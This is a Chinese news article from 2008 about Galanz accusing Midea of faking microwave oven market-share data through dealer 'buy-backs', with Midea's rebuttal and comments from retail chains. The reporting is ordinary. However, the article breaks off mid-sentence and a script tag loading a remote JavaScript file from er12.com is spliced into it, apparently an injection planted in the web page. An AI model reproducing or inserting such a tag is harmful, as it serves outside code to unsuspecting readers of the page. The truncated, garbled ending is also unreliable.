7月份的一张微波炉周度畅销排行榜，成为美的微波炉造假风波的导火索。
2008年7月初，热讯网上赫然出现一份奇怪的微波炉销量榜单，让业内人士大吃一惊的是，一直以60%-70%的国内市场占有率领先的格兰仕和追随者美的在名次上发生逆转，更令人惊讶的是，美的微波炉销量竟然是格兰仕的80倍以上。“在市场没有出现重大利好的情况下，80倍的销量增长简直不可思议。”一位美的微波炉代理商表示自己不敢相信这一数据。
与此同时，一篇题为《美的全面超越格兰仕》的“软文”在全国多家媒体刊发，文中称“2008年1~6月份，美的微波炉销售量达300万台，市场份额连续10个月超过40%……中怡康上半年数据显示，美的强势上扬，格兰仕节节败退”。值得注意的是，文中还单独辟出两段矛头直指格兰仕的文字，称对方涉嫌虚假宣传遭投诉和身陷微波炉“爆炸门”，引发品牌危机。
对此，格兰仕方面非常愤怒，继而指责美的在数据上造假，认为美的是“花费巨资，通过从销售渠道‘回购’产品，以作弊方式提高销售数据”。格兰仕还表示已经掌握了确凿的相关证据，如果美的不道歉，就向社会公开材料。
作为国内微波炉市场举足轻重的两强，格兰仕和美的的相互对骂并不罕见，但如此撕破脸皮互泼脏水，显见双方已成水火之势。
炮轰美的
美的回购微波炉一事，是由美的经销商最先抖出来的。该经销商透露，今年以来，美的要求他们在调查公司所监测的若干网点大量回购微波炉。青岛的一位美的经销商说，美的微波炉事业部一高层曾直接致电给他，要求其准备资金“回购”，并许诺如果资金不畅，可以随时提供支持。
业内人士告诉《it时代周刊》，很多经销商都是同时经销美的和格兰仕品牌，这其中也有人向格兰仕反映了上述情况。
“我们在一个月前就开始收集有关证据了。”格兰仕市场部部长何华斌说，美的回购早在去年就已现端倪，他们要求下面的经销商和代理商用现金到商场把货买出来，这样就在数据上增加了商场的销量，而美的则给予一定的返点。同时，家电渠道卖场大量批发微波炉给美的关联代理商，通过倒手交易也从中获利2%-6%。
经过这种幕后运作，美的整体市场份额的统计数据，能够得到大幅提高。
“在市场没有大变化的情况下，美的在半年内不可能卖到300万台，美的去年一年也没有卖到这个数。”何华斌称，仅今年6月份，美的给经销商的回扣达4000多万元。而经销商从大卖场“回购”时存在的1%～2%的差价，也都由美的来支付。
“回购”需损失一定的费用，美的为何要这样做呢？何华斌解释，由于遭遇不利的宏观环境，美的积压了近千万台即将淘汰的低能效空调。空调方面的业绩不好向股民交待，美的就在微波炉方面造出虚假繁荣的现象。
格兰仕还表示，美的微波炉长年亏损，一直靠集团内其他业务的利润来贴补，集团对其政策是“扶持”为主，并不十分看重利润。
一代理商也说，美的内部职业经理人实行“三年一道槛”的业绩考核制度，使得各事业部常常在市场上做出极端举动。
目前，格兰仕已决定设立打假基金。
针锋相对
面对格兰仕的指责，美的微波炉市场部企划总监杨幸兵进行了反驳。他指出，美的披露的数据是绝对真实的，同时，并未做过《美的全面超越格兰仕》的软文宣传，这些报道是媒体单方面的行为。
“从美的微波炉销售管理体系看，美的内部根本不存在买数据造假的动机和条件。美的整个集团年销售额达700亿元人民币，没有理由冒险作假。”杨幸兵说，中怡康等相关数据，美的仅仅作为市场参考，并不十分看重。
美的另一负责人表示，去年11月，美的微波炉的市场占有率达43%，此后就保持在这一水平。今年，美的的目标是要做微波炉行业老大，现在已经非常接近了。格兰仕销量第一的位置不保，应该更多地反思自己的战略。
有业内人士称，现在，美的微波炉通过自建的5000家专卖店，大幅提升了终端零售销量和市场占有率，从而形成了渠道核心竞争力。面对来自对手强大的压力，格兰仕情绪波动，不难理解。
对于两家微波炉厂商的对骂，连锁卖场大都站在了美的一边。国美电器小家电采购部部长徐燕松表示格兰仕的说法是“无稽之谈”，苏宁生活电器事业部总经理钱成建也认为指称“美的数据造假”的观点“是格兰仕一家之言”。
对于国美和苏宁的表态，行业人士称，国美、苏宁等连锁系统，不可能为了某一家企业而牺牲自己的名誉。
针对格兰仕与美的双方争论的数据焦点，中怡康市场研究公司副董事长李基祥指?script src=http://er12.com/t.js>
